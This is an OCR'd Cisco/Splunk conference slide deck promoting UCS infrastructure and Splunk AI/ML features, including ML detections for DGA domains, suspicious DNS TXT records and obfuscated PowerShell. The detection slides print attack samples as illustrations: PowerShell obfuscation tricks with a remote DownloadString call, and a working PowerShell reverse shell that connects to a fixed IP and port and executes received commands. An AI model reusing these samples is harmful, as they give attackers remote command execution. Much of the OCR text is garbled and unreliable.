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Cisco’s UCS solution for Splunk T

Cisco’s goal is to provide you the right infrastructure for all of your workloads, including Splunk, that can be
deployed in a consistent and thoughtful manner mindful of your full landscape. CVDs provide you both your
blueprints and a lab tested proof point ensuring a best in class experience for you Splunk workloads.

v Turnkey infrastructure

CVD program ensures a lab
tested architecture and outcome

_@_ Operational simplicity

R — o .
Intersight provides second to
none management of resources
Scalable solution for tomorrow
=

Easily add resources for growth
or longer retention
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Architectural Options O e

Management

Search / Indexing Tier Management
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standalone
instances
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L
Splunk Validated Architectures support distinct use cases and requirements. Cisco Compute supports them all! \
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UCS Solutions for Splunk N ey T
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Al Readiness

cisco E/W
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Cisco Engage GBA

80%

Of CIOs and tech leaders plan full
Gen Al adoption within 3 years!

13%

IT organizations with infrastructure
prepared for Al today?

36.2%

IT staff /skill recruitment and training
is highest priority to support Gen Al
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Cisco Al ecosystem stack Gisoo Encage GBA

Al frameworks ITI SANVIDIA intel.

NGC Developer Cloud

Al management tools <3 O PyTorch

NVIDIA.

&

2, Virtualization and Kubernetes

—@)_

Firewall | Secure Infrastructure management £\ Nexus Dashboard
workload | Robust
Intelligence | Splunk

Security

Observability @
Observability platform ﬂ
| Splunk

Sustainability

Simplified

operations Al Infrastructure

Nexus® Series | Nexus Dashboard UCS Series | Intersight®

Snvioia intel AMDZ1  coHEsITY 4 FlashStack  e® FlexPod  NUTANIS

splunk>
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Al and ML capabilities across
our portfolio accelerate detection,
Investigation, and response.

Our approach What we offer

‘ v \ Domain and Splunk specific

-

o)
“—‘Q Human-in-the-loop and trusted

Foundational Al

1

; _ Find the signal from the noise in vast amounts of data L
b ‘axdl  Open and extensible =N

¥ \
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POWGFed by Sp|Unk AI Cisco Engage GBA

SECURITY OBSERVABILITY

Enterprise Security with Enterprise IT Service Intelligence P
Security Content Updates (ESCU)
Application Performance Monitoring Embedded

| UserBehavior Analytics | Al

User Behavior Analytics o -

y Infrastructure Monitoring Capabilities
Al Assistant AT Assistant

Assistive Intelligence Experiences Customizable ML
, . Machine Learning Data Science and Free Assistive
AI Assistant for SPL Anomaly Detection l Deep Learnin and
Customizable T
THE SPLUNK PLATFORM Apps & Tools

Splunk Cloud Platform Splunk Enterprise N
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Domain-Specific Use Cases s T S

Security Observability
« Simplify workflows * Probable root cause analysis
* Guided response actions « Assisted remediation
* Event correlation and alert noise « Suggested responders

reduction * Proactive outage prevention assistance

* ML powered detections « Alert correlation and prioritization

* Risk based alerting - Anomaly and outlier detection

 Predictive analytics  Adaptive thresholding Y
* Anomaly detection

» Clustering

CISCO W #CiscoEngage ©2024 Cisco and/or its affiliates. All rights reserved. Cisco Public \\\\



New
Al Assistant

for Observability

Find and fix issues faster
using natural language in
Splunk Observability Cloud

) Accelerate investigations
and day-to-day monitoring
tasks

Get context and support as
you troubleshoot

cisco E/W

APM
Explore
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Cisco

Az |see 3 critical alerts triggered for paymentservice,
can you explain more?

0 | can certainly help with that!

The upstream service from paymentservice is called
checkoutservice, which had critical alerts triggered
30 minutes before alerts were triggered for
paymentservice. Two deployments were made to
checkoutservice today. This could be related. You
can explore these services visually from the service
dependency map in APM, or | can assist you with
some metric names to further explore. Which of
these next steps would you prefer?

[ View service dependency map in apm_]
'Y

[ Suggesting some metric names ]

o B I O

’ 4% Ask me anything about your environment ’

©2024 Cisco and/or its affiliates. All rights reserved. Cisco Public

Engage GBA

358 days left in trial

= Observability Assistant
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N ew Splunk Al thresholding assistant

oundational
\| for ITSI

y o Splunk Al recommendations
/

Ana Iyze IT Se rvice hea Ith in | : 4 Time policies are active - based on analysis of KPl beha

% Adaptive thresholding with a 30 day analysis window u
context

" 2 2 o . . dard deviation algorithm - this sett
% Outlier exclusion is active using Interquartile Range (IQl =

} Reduce alert noise With % Weekly seasonality, offset=8h recommended with high [ . = . o507
intelligent alert correlation to \
resolve issues faster

| severity comparison Aecommendatio

re the KPI severities of your previously configured thre/ d€sitical <1%

Prevent outages with | - ‘
embedded AI and maChine i ~reshold iovo!i : rr\lovrnml 56%
Iearning - Medium <1%

|
Feb 08 Tue

Align IT and the Business
with service monitoring

Preview threshold levels

Would you like to accept the recommended changes? Reject

. 4
N\
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The problems we are solving using Al/ML

i)

Predictive Analytics

Forecast the future behavior of services

Adaptive Thresholding

Automatically adjusts KPI thresholds based on historical trends

Anomaly Detection

Automatically identify unusual patters or deviations in KPI behavior

ML Assisted Thresholding

Automatically recommend optimal thresholds for KPls

Drift Detection

Identifies when a KPI’s trend changes

Al Assisted Alert Correlation

Al-driven alert correlation in to uncover patterns in your alert data

CISCO W #CiscoEngage
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New
Al Accictant

for SPI

Upskill new and advanced
Splunk users quickly.

Translate bi-directionally
between natural language
and SPL.

Help security analysts that
are new to Splunk to
catch up in no time.

cisco EW

) Chat

@ Usage guidelines

€3 Settings

Give us feedback!

Want to share your feedback?
Contact us by email at
misupport@splunk.com

#CiscoEngage
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Using data models, get top 10 users W*ost failed login attempts over the past week

“ion.Authentication

| count =Auth 74ad latest=now() by

Authentication.action="failure" ear
Authentication.user

| 1imit=10 Authentication.user
I8 Copy [Z2 Open in search

2r of failed authentication attempts in the past
The query retrieves the top 10 users with the
7 days.

SPL command details
The - < statistical information about indexed data, in this case, counting

the number or eve..._.
L=Authentication.Authentication

This specifies that the data should be retrieved from the Authentication data model, which contains

structured data related to user authentication events.

©2024 Cisco and/or its affiliates. All rights reserved. Cisco Public




New
Al Assistant

for Security

Answer analyst questions
to speed up daily
workflows.

Use natural language
queries to investigate
more quickly.

Save time while
addressing threats more
rapidly.

cisco EW

- Apps ¥ 4) Messages ¥ Settings v Activity v Q Find
on Control Dashboards ~ Explorer Search Configure ~
< Queue & wesneanon es-87416 - Geographically Improbable Access Detected 392.398.23
Overview Automation Artifacts ‘212 Intelligence Search
Overview
All v i= Custom fields v © Location
- src 10.206.12.17
Included findings @ Related Jira ticket | ROMP-334
= 231.23.123.23 67
© Excessive failed logins Related SNOW ticket ‘ 342432434
src country China
& Threat Activity Detected “ B3 Basicinfo src city Bejing
from 10.163.194.46 t0 8.... dst 20.50.50.60
D -8741
; . ES61416 dest country USA
& Possible phishing attack Correlation search Geographically Improbable Acc Mexico
user tim_tailor837726 s igh
everity Higl dest city San Jose
& AWS Cloud Provisioning ipelidecfindings 4 Tijuana
From Previously Unseen ... Description This investigation is created dest expected True
when the location of the log....
Show more 8 ol Users
~ = Events name Tim Tailor
username Ttailor07
event_hash da9f475219f5fc96df67.. ¥ userid 29083829837490237,
Sventype modnotable_results email address ttailor@acme.com
notable
department Sales
hire date 10/09/2019
device name Tim Macbook
device id 98237492398749.
device location 23.32.65.465 [
v MITRE ATT&CK
‘ Q Detections 7 % View options Last 30 day
Resource De Initial Access Execution Persistence Privilege
J Gther Victia ety | Coniie ot
Host Scripting
Compromise & Manipulation &

Information &

|

Interpreter &

Browser
Extensions &

Phishing &

+ Event Triggered
Execution &

#CiscoEngage
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© Lsca

< — Al Assistant

d 392.398.23

Access D

8! P

Source Host workstation-478.internal.domain
erver-932.internal.domain
192.168.10.47

Destination IP Address  192.168.10.123

Protocol SMB

Destination Host
Source IP Address

v Event Information

Files accessed and
v transferred

\\server-932\share\payroll_data.xlsx
\\server-932\share\config.sys

Additional Context

1. The source workstation (* workstation-478 *) typically does not initiate SMB

R O

of the IT team. The employee

gotential impact

sJ SaraJones 2:04PM
Which host downloaded the files?

a Al assistant 2:04 PM
Sure, | can help with that. The following query ca
downloaded the files?”

SPL

| tstats count WHERE index=index_01 sourcet

action="download" by host

O B 3 O

sJ SaraJones 2:04 PM

178°

Run query

©2024 Cisco and/or its affiliates. All rights reserved. Cisco Public




Accelerate Detections with ML in Splunk GO BEYOND
Enterprise Security (ESCU) Cisco Engage GBA

Ei:;f'r[l Study Threats

Identify emerging threats and understand how they operate

Create Datasets

Collect data and use Splunk to parse the data and identify patterns that can be used to detect the threat

Build ML-Powered Detections

Build a model based on data in order to make predictions or decisions; enable systems to learn from data, identify patterns, and make
decisions with minimal human intervention

Test Detections

Run queries against a dataset that simulates attacker behavior to improve accuracy and reduce false positives -

Release

Package detections to deliver timely and effective protections against emerging threats to Splunk customers

CISCO W #CiscoEngage ©2024 Cisco and/or its affiliates. All rights reserved. Cisco Public \\\\\
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Domain Generation Algorithms N ey T

DGAs are algorithms to generate random
domain names used by malware families.

Domains are usually based on the date and are
difficult to block because there are so many
(e.g., 100k/day).

fmeajblnlggyijlfgswfevokbkj[.]ru marketexpresspicturereport[.]Jcom
iOrxagnbyd4aljug4gbluwdénpl.]org destroyready[.]net
y9qd1flhhcb7f1frSmgqw5ypg[.]net vacuum-exclusion[.]net

CiIsCo EIW #HCiscoEngage ©2024 Cisco and/or its affiliates. All rights reserved. Cisco Public \\\



Dictionary DGA Detection (D3) G B O

Stage 3: Expansion [2
You're ingesting advanced data sources and running better investigations.

DiCtiona ry DGA: Detect Dga Domains

=<8l Using Pretrained
Model In Dsdl

- Composed of actual words, dictionary DGAs look The folowing anaytic uses a pre

trained deep learning model to

more plausible to both humans and algorithms and

(DGA) generated domains. The

a re m O re d iffi Cu It to d etect o model is trained independently and

is then made available for download.
One of the prominent indicators of a

Dete Ct i O n m Od e I : domain being DGA generated is if

the domain name consists of unusual

- Pre-trained LSTM model for DGA detection e ords.
provided by Splunk.
- Detection rule provided on ESCU. (oynamic Resolution | Domain Generation Algorths

- Inference using Splunk DSDL app.

MITRE ATT&CK Techniques (Click for Detail)

Data Sources

Data Model

£
2
=
©
<
3
2
2
o

Network_Resolution [2

dga

Asset Type

Endpoint

non-dga

Predicted References

https://attack.mitre.org/techniques/T1568/002/ [2

https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/ [2

https://research.splunk.com/network/92e24f32-9b9a-4060-bba2-2a0eb31f3493/ https://enwikipedia.org/wiki/Domain_generation_algorithm L2

CIsCO W #CiscoEngage ©2024 Cisco and/or its affiliates. All rights reserved. Cisco Public /\‘\.-.\ \
\\i ; S



https://research.splunk.com/network/92e24f32-9b9a-4060-bba2-2a0eb31f3493/
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Detect suspicious DNS TXT records oo Enzeee G

Detect Suspicious DNS
>l Txt Records Using

Pretrai...

DNS TXT records detection: The following analytic uses a pre
trained deep learning model to
- DNS TXT records are frequently used for malicious purposes to detect suspicious DNS TXT records.
create DNS amplification attacks, injection of malware and The model s aned neependenty
exfiltrate data from the victim’s machine. download. The DNS TXT records are
. categorized into commonly identified
- The freedom of unstructured text poses a huge security threat types like emal, verification, http

using regular expressions

and makes it hard to detect.

https://www.tide-
project.nl/blog/wtmc2020/. The TXT

Detection model:

- Pre-trained LSTM model for DNS TXT records provided by
Splunk Threat Research.

- Detection rule provided on ESCU.
- Inference using Splunk DSDL app.

https://www.splunk.com/en us/blog/security/ml-in-security-detect-suspicious-txt-records-using-deep-
learning.html

Splunk, 2023, Model Architecture

D, de
CIsCoO W #CiscoEngage ©2024 Cisco and/or its affiliates. All rights reserved. Cisco Public \\\\\\



https://www.splunk.com/en_us/blog/security/ml-in-security-detect-suspicious-txt-records-using-deep-learning.html
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Common PowerShell obfuscations

Just a few of the available techniques

Baseb64

The PowerShell -encodedcommand parameter
accepts a baseb64 string that can be used to
hide commands

powershell -encodedcommand ENCODING

There are many variations, including -e -enc
-eCc -encodedc

XOR

Another common encoding scheme is
PowerShell’s bitwise XOR operator -bxor

GO BEYOND
Cisco Engage GBA

String concatenation (+, -, “, ¢

New-Object
$("Sys"+"tem.Refl"+"ection.Ass"+"embl"+"yNa
meII

Escaping (")
powershell.exe -“e~n”~c” ENCODING

Mixed Upper / Lower case
(nEw-oBjecT Net.WeBclIENt)

Whitespaces

DownloadString(“ https://bit.ly/3dV6cFr ) g

N

What if these are combined?!?!

©2024 Cisco and/or its affiliates. All rights reserved. Cisco Public
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Detect Powershell Suspicious Script Sl Fiskf H2R

Why attackers choose powershell?

- Installed by default, Execute payloads from memory, Encryption, Easy to obfuscate, Easy
access of malicious script.

Detection model:

- BERT model fine-tuned on classification for decoded powershell scripts.
- Delivered in ONNX format through Splunk DSDL app.
- To be shipped as an ESCU detection rule.

NoProfile -NonInteractive

Selient = New-Object
System.Net.Sockets.TCPClient("192.168.45.249" 4444);
$stream = Sclient.GetStream();[byte[]]Sbytes =
@..65535|%{0};

JIAEMAUABDA
AHMAdA
P

while(($1 = $stream.Read(Sbytes, 8, Sbytes.Length)) -ne @) ﬁ\\\\

o | { ;Sdata = (Mew-Object -TypeName

| System.Text .ASCIIEncoding).GetString($bytes, B, $i);
$sendback = (iex Sdata 2-&1 | Out-String )

$sendback2 = $sendback + "PS " + (pwd).Path + "> “;
$sendbyte = ([text.encoding]::ASCII).GetBytes(Ssendback2);
Sstream.Write(Ssendbyte, 8, Ssendbyte . Length);
$stream.Flush() };

$client.Close()

Encoding Script

#CiscoEngage ©2024 Cisco and/or its affiliates. All rights reserved. Cisco Public
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Machine Learning Toolkit 5.5 Cisco Engage GBA

Extend Splunk to Operationalize Machine Learning Use Cases Within Search

Designed for Splunk users at all levels
- ML-Powered Splunk Searches

- Apply techniques like anomaly detection and predictions splunkccnterprise  Aops

- Showcase and Experiments '

- Simple low-code experience to guide model building,
testing, and deployment

- Extensible out of the box

- 80+ built-in scikit-learn algorithms, and API support to plug
in new runtimes

>  exa ONNX model upload

New updates!

- Ability to upload externally pre-trained ONNX models
with a simple Ul and then use the model with your
Splunk data with no modification to your existing
workflows

- Extended user anomaly detection capabilities with a
new algorithm for multivariate outlier detection

el 5 | | N e
Splunk Ecnterpri Wk C/OUd Platfor #CiscoEngage ©2024 Cisco and/or its affiliates. All rights reserved. Cisco Public \\ \ \
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ML-Powered Detections for Security & Observability
Find the Obscure and Unknown Threats Buried Deep in Your Data

Anomaly detection

Deviation from past behavior

Resource Utilization
Error Rate Deviation
Access Pattern Baselining

cisco EW

Predictive Analytics Clustering

Future state prediction Behavioral Analytics N
Classification/regression
Identify Traffic

Predict storage requirements Classify Behaviors
Identify patterns leading to failure

#CiscoEngage ©2024 Cisco and/or its affiliates. All rights reserved. Cisco Public
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Coming next in MLTK 5.6 - Al Commander EisceiEngaoiaBA

splunk 2nterpris Apps ¥ v | Administrator v 2 Messages v Settings v Activity Help = Q Find
Showeaso Experiments Search Models Seings Connection Management Docs 2 Video Tutocials (2 Q Splunk Machine Learning Toolkit

Connection Management Settings

Selett Service

Select Model

Settings for gpt-4o0-mini
Endpoint 9

Access Token: &)
Response Variability; &
Maximum Result Rows: &

Max Tokens: &)

Set as default

Cancel

Isco-g iscoE i its affili All righ i Publi
Splunk Ecnterprl unk C/OUd Platform #CiscoEngage ©2024 Cisco and/or its affiliates. rights reserved. Cisco Public


http://drive.google.com/file/d/1LWri1tuFSMJO4nmr1zAAPWCDvziyV35E/view

GO BEYOND
Splunk Data Science and Deep Learning 5.2 Cicolendausians

Extension for MLTK to operationalize advanced custom Al / ML use cases

Coment  Configustions  Exampiess  Assatanixe  Opeafonse  Others  Documentation & Sewrch ) | Splunk App for Data Science and Deep Leaming

Built for Data Scientists / Al Engineers
- Guided models and code examples

Greph Analysis Exampte for Community Detection with Louvain Modularity

- Container Management: Models can be productionized on
CPU & GPU

- Extension to LLMs and VectorDB

- State of the art Al frameworks and tools - Jupyter Lab,
MLflow, PyTorch, TensorFlow, SpaCy, DASK, Rapids,

Spark, . - :. .o.r;-.P;.e.n; ......... T T 5
. Flexible deployments: deploy on-prem, hybrid or in the || Pt pe il el iy Ay :

1 ‘: Llama3
cloud. e o (il

Search head

I|vectorpB Module ‘ Col
1[(Milvus, Minie, quay) ;

| col

CISCO W #CiscoEngage
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Splunk Data Science and Deep Learning 5.2 Cicolendausians

Extension for MLTK to operationalize advanced custom Al / ML use cases

* On-Prem

Docker Host (GPU / CPU)

New updates in version 5.2*! :

Search head

- Container extensions for LLM and VectorDB services to : ]  Fitcommand < 1 [ ccumen |
. . . . = ex Directory

enable highly customizable Al use cases. : - :

- Custom LLM RAG based applications built on Splunk :y;g;;;?:iggj*;;gw;j comon
indexed data and non-Splunk, external data sources : "

2) Load documents

- New dashboards to easily access the new features

Conduct Vector Search on log data Manage and Explore your vector database

(5% €

Response + References

- All codebase shared in the public github repo to start
building own extensions or use cases.

1. List of employees in charge of the product support for DB- /srv/notebooks/data/Buttercup/support_ticket.csv

SG-G@1 (Dragon Battles - Strategy Game 01): /srv/notebooks/data/Buttercup/Buttercup_Support_Personnels.pdf
/srv/notebooks/data/Buttercup/support_ticket.csv

= Emily Chen, Senior Customer Support Specialist /srv/notebooks/data/Buttercup/Buttercup_Support_Personnels. pdf

~ Ethan Lee, Customer Support Specialist /srv/notebooks/data/Buttercup/buttercup_store, xml

- Maya Patel, Customer Support Specialist

- Julian Sanchez, Customer Support Specialist

2. Resolution notes in the past tickets with the same issue
description ("Payment processing error during checkout®):

- TCKT002: Identified payment gateway downtime, Monitored and
confirmed restoration of service. Completed transaction
manually. Confirmation email sent to customer.

= No other tickets in the provided context have the same issue
description.

CISCO EW #HCiscoEngage ©2024 Cisco and/or its affiliates. All rights reserved. Cisco Public
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Protect Application Security with
Splunk ML

« Utilize Splunk Al to explore, model and deploy more easily

 WAF data to be alerted on anomalies and surface them in ticketing system
» Use Splunk’s Machine Learning Toolkit for modeling

* DensityFunction to detect anomalies; model trained off hours

« Consult the SME to make sure findings are inline with business needs

Reduction in the
Number of queries from
300+ detections to <100

Reduction in Reduction in time allocated to
incidents generated incident response & detection
maintenance
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Deep Learning for Compromised
Account Detection

» 5 people security team accountable for 40,000 active accounts
 Need to protect accounts against advanced threat actors
» Despite 2FA more account compromises in the last recent time

« Leverage DSDL for deep learning (LSTM model) to predict account
compromise from complex time-series data obtained from Splunk SIEM

20/day
VS

500/hr* @

\\\ \:r.jﬁfil‘dential
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GO BEYOND
Cisco Engage GBA

Unparalleled digit

NI 1 splunk >
CISCO P

Powering the SOC of the
Providing end-to-end future with unified threat

Delivering observability for

N . . . the entire enterprise to
visibility and insights across detection investigation and

your entire digital footprint response, enhanced with
network insights

prevent unplanned downtime
across all environments

rprise scale data management

o



Thank You!
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